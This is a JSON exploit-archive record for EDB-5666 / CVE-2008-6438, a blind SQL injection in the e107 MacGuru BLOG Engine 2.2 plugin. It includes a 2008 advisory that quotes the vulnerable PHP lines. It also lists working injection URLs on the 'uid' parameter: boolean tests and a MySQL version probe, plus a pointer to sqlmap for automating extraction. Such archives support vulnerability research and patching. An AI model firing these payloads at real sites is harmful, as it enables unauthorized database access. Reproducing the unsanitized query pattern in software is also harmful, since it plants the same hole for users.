{"exploit":{"id":"EDB-5666","name":"e107 Plugin BLOG Engine 2.2 - 'uid' Blind SQL Injection (SQLi)","description":"e107 Plugin BLOG Engine 2.2 - 'uid' Blind SQL Injection (SQLi)","cves":["CVE-2008-6438"],"author":"Virangar Security","published":"2008-05-22","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5666","path":"exploits/php/webapps/5666.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5666.txt","vulnerabilities":[{"id":"CVE-2008-6438","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in macgurublog_menu/macgurublog.php in the MacGuru BLOG Engine plugin 2.2 for e107 allows remote attackers to execute arbitrary SQL commands via the uid parameter, a different vector than CVE-2008-2455. NOTE: it was later reported that 2.1.4 is also affected.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-6438","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-6438"},"updatedAt":"2024-08-07T11:27:35.850Z","retrievedAt":"2026-11-27T01:11:48.078Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5666.png?v=2","url":"https://exploitbin.com/exploits/EDB-5666","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5666/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5666/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##################################################################################################\n  #                                                                                                #\n  # ::e107 Plugin BLOG Engine v2.2 (macgurublog.php/uid) Blind SQL Injection Vulnerability::       #\n  #                                                                                                #\n  ##################################################################################################\n\nVirangar Security Team\n\nwww.virangar.net\n\n--------\nDiscoverd By :virangar security team(hadihadi)\n\nspecial tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra\n\n& all virangar members & all hackerz\n\ngreetz:to my best friend in the world hadi_aryaie2004\n& my lovely friend arash(imm02tal)\n\n-------vuln codes in:-----------\nmacgurublog.php:\nline 18:$buid = $_GET['uid'];\n..\n..\nline 31:$sql -> db_Select(\"user\", \"user_name\", \"user_id=\".$buid);\n---\nexploit:\n[-]note=becuse e107 using diffrent prefix/table names it's impossible to writting exploit for it :(\n\nhttp://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and 2>1/*   #the page fully loaded\n\nhttp://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and 1>3/*   #page loaded whit any data and some error that say \"The user has hidden their blog.\"\n\ncheking the mysql version:\nhttp://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and substring(@@version,1,1)=5\nor\nhttp://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and substring(@@version,1,1)=4\n\n# you can exploting the bug white blind sql automatic toolz such as sqlmap or ...\n---\nyoung iranian h4ck3rz\n\n# milw0rm.com [2008-05-22]","sha256":"2ff6fe167883971458bba1f69459ca675652a191443e28aa7d82a51fa7b0ddd0","bytes":1687,"fetchedAt":"2026-11-27T01:11:45.557Z","encoding":"utf-8 (display only; download retains original bytes)"}